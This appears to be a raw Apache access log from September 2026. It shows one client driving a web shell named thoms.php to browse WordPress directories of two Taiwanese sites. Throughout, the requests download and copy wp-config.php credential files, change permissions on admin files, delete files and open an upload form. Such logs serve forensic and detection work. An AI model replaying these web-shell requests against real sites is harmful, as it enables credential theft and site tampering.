45.135.193.11 - - [11/Sep/2026:22:36:54 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 200 13422 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:54 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 200 13626 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:54 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-cron.php HTTP/1.1" 200 14186 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&view=wp-cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:54 -0400] "GET /thoms.php?del=wp-links-opml.php&p=bestjudy.com.tw HTTP/1.1" 200 17353 "http://163.245.207.76:443/thoms.php?del=wp-links-opml.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:55 -0400] "GET /thoms.php?chmod=wp-login.php&p=bestjudy.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=wp-login.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:54 -0400] "GET /bestjudy.com.tw/wp-mail.php HTTP/1.1" 403 1196 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:55 -0400] "GET /thoms.php?chmod=wp-admin&p=bestjudy.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?chmod=wp-admin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:55 -0400] "GET /thoms.php?dl=wp-config.php&p=bestjudy.com.tw HTTP/1.1" 200 17354 "http://163.245.207.76:443/thoms.php?dl=wp-config.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:55 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&p=bestjudy.com.tw HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fxmlrpc.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:55 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-login.php HTTP/1.1" 200 29031 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&view=wp-login.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:55 -0400] "GET /bestjudy.com.tw/upgrade/ HTTP/1.1" 200 6724 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:55 -0400] "GET /thoms.php?p=bestjudy.com.tw&upload= HTTP/1.1" 200 12155 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:55 -0400] "GET /bestjudy.com.tw/index.php HTTP/1.1" 301 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:55 -0400] "GET /thoms.php?chmod=locoy.php&p=bestjudy.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?chmod=locoy.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:55 -0400] "GET /thoms.php?chmod=wp-activate.php&p=bestjudy.com.tw HTTP/1.1" 200 11485 "http://163.245.207.76:443/thoms.php?chmod=wp-activate.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:55 -0400] "GET /bestjudy.com.tw/ HTTP/1.1" 404 11020 "https://163.245.207.76/bestjudy.com.tw/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:55 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-config-sample.php HTTP/1.1" 200 13308 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&view=wp-config-sample.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:55 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-settings.php HTTP/1.1" 200 19465 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&view=wp-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:55 -0400] "GET /bestjudy.com.tw/wp-load.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:55 -0400] "GET /thoms.php?del=mah.php&p=bestjudy.com.tw HTTP/1.1" 200 17356 "http://163.245.207.76:443/thoms.php?del=mah.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:56 -0400] "GET /thoms.php?dl=wp-comments-post.php&p=bestjudy.com.tw HTTP/1.1" 200 17351 "http://163.245.207.76:443/thoms.php?dl=wp-comments-post.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:56 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-mail.php HTTP/1.1" 200 15359 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&view=wp-mail.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:56 -0400] "GET /thoms.php?chmod=wp-trackback.php&p=bestjudy.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-trackback.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:56 -0400] "GET /thoms.php?del=wp-trackback.php&p=bestjudy.com.tw HTTP/1.1" 200 17351 "http://163.245.207.76:443/thoms.php?del=wp-trackback.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:56 -0400] "GET /thoms.php?del=license.txt&p=bestjudy.com.tw HTTP/1.1" 200 17353 "http://163.245.207.76:443/thoms.php?del=license.txt&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:56 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&p=bestjudy.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-comments-post.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:56 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-config.php HTTP/1.1" 200 13728 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&view=wp-config.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:56 -0400] "GET /bestjudy.com.tw/mah.php HTTP/1.1" 200 1941 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:56 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&p=bestjudy.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-config.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:56 -0400] "GET /bestjudy.com.tw HTTP/1.1" 301 795 "http://163.245.207.76:443/bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:56 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.htaccess&p=bestjudy.com.tw HTTP/1.1" 200 11455 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.htaccess&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:56 -0400] "GET /bestjudy.com.tw/wp-trackback.php HTTP/1.1" 404 157 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:56 -0400] "GET /thoms.php?dl=wp-settings.php&p=bestjudy.com.tw HTTP/1.1" 200 17337 "http://163.245.207.76:443/thoms.php?dl=wp-settings.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:56 -0400] "GET /bestjudy.com.tw/ HTTP/1.1" 301 0 "https://163.245.207.76:443/bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:56 -0400] "GET /thoms.php?del=.well-known&p=bestjudy.com.tw HTTP/1.1" 200 17345 "http://163.245.207.76:443/thoms.php?del=.well-known&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:57 -0400] "GET /thoms.php?del=wp-admin&p=bestjudy.com.tw HTTP/1.1" 200 17346 "http://163.245.207.76:443/thoms.php?del=wp-admin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:56 -0400] "GET /bestjudy.com.tw/ HTTP/1.1" 404 11020 "https://163.245.207.76:443/bestjudy.com.tw/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:57 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=.htaccess HTTP/1.1" 200 12728 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&view=.htaccess" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:57 -0400] "GET /thoms.php?dl=.htaccess&p=bestjudy.com.tw HTTP/1.1" 200 17352 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:57 -0400] "GET /thoms.php?dl=license.txt&p=bestjudy.com.tw HTTP/1.1" 200 17350 "http://163.245.207.76:443/thoms.php?dl=license.txt&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:57 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 200 59228 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:57 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&p=bestjudy.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-cron.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:57 -0400] "GET /thoms.php?chmod=wp-links-opml.php&p=bestjudy.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-links-opml.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:57 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2F.well-known&p= HTTP/1.1" 200 11626 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2F.well-known&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:57 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-signup.php HTTP/1.1" 200 22513 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&view=wp-signup.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:57 -0400] "GET /thoms.php?dl=wp-activate.php&p=bestjudy.com.tw HTTP/1.1" 200 17353 "http://163.245.207.76:443/thoms.php?dl=wp-activate.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:57 -0400] "GET /bestjudy.com.tw/.well-known/ HTTP/1.1" 200 782 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:57 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=bestjudy.com.tw HTTP/1.1" 200 11499 "http://163.245.207.76:443/thoms.php?chmod=wp-comments-post.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:57 -0400] "GET /booking-wise2.com.tw/mah.php HTTP/1.1" 200 1941 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:58 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=xmlrpc.php HTTP/1.1" 200 13388 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&view=xmlrpc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:58 -0400] "GET /thoms.php?chmod=readme.html&p=booking-wise2.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?chmod=readme.html&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:58 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=booking-wise2.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?chmod=wp-blog-header.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:58 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&p=booking-wise2.com.tw HTTP/1.1" 200 11468 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-mail.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:58 -0400] "GET /booking-wise2.com.tw/readme.html HTTP/1.1" 200 2990 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:58 -0400] "GET /thoms.php?chmod=wp-includes&p=booking-wise2.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?chmod=wp-includes&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:58 -0400] "GET /thoms.php?del=.well-known&p=booking-wise2.com.tw HTTP/1.1" 200 17432 "http://163.245.207.76:443/thoms.php?del=.well-known&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:58 -0400] "GET /thoms.php?dl=.htaccess&p=booking-wise2.com.tw HTTP/1.1" 200 17431 "http://163.245.207.76:443/thoms.php?dl=.htaccess&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:58 -0400] "GET /thoms.php?chmod=wp-signup.php&p=booking-wise2.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?chmod=wp-signup.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:58 -0400] "GET /booking-wise2.com.tw/web-common/ HTTP/1.1" 200 6354 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:58 -0400] "GET /thoms.php?chmod=data-unused&p=booking-wise2.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=data-unused&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:58 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 200 13313 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:58 -0400] "GET /booking-wise2.com.tw/wp-content/ HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:58 -0400] "GET /thoms.php?del=data-unused&p=booking-wise2.com.tw HTTP/1.1" 200 17433 "http://163.245.207.76:443/thoms.php?del=data-unused&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:58 -0400] "GET /booking-wise2.com.tw/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:59 -0400] "GET /thoms.php?chmod=wp-comments-post.php&p=booking-wise2.com.tw HTTP/1.1" 200 11492 "http://163.245.207.76:443/thoms.php?chmod=wp-comments-post.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:59 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fmah.php&p=booking-wise2.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fmah.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:59 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2F.well-known&p= HTTP/1.1" 200 11622 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2F.well-known&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:59 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p= HTTP/1.1" 200 11668 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fcgi-bin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:59 -0400] "GET /booking-wise2.com.tw/locoy.php HTTP/1.1" 200 125 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:59 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&p=booking-wise2.com.tw HTTP/1.1" 200 11445 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-config.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:59 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=wp-settings.php HTTP/1.1" 200 19475 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&view=wp-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:59 -0400] "GET /thoms.php?dl=wp-load.php&p=booking-wise2.com.tw HTTP/1.1" 200 17424 "http://163.245.207.76:443/thoms.php?dl=wp-load.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:59 -0400] "GET /thoms.php?p=booking-wise2.com.tw&view=locoy.php HTTP/1.1" 200 12960 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&view=locoy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:59 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&p=booking-wise2.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fthoms.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:59 -0400] "GET /thoms.php?chmod=wp-activate.php&p=booking-wise2.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?chmod=wp-activate.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:59 -0400] "GET /thoms.php?dl=wp-config-sample.php&p=booking-wise2.com.tw HTTP/1.1" 200 17424 "http://163.245.207.76:443/thoms.php?dl=wp-config-sample.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:59 -0400] "GET /thoms.php?dl=wp-config.php&p=booking-wise2.com.tw HTTP/1.1" 200 17424 "http://163.245.207.76:443/thoms.php?dl=wp-config.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:59 -0400] "GET /thoms.php?dl=wp-mail.php&p=booking-wise2.com.tw HTTP/1.1" 200 17424 "http://163.245.207.76:443/thoms.php?dl=wp-mail.php&p=booking-wise2.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:59 -0400] "GET /thoms.php?p=booking-wise2.com.tw&upload= HTTP/1.1" 200 12159 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw&upload=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
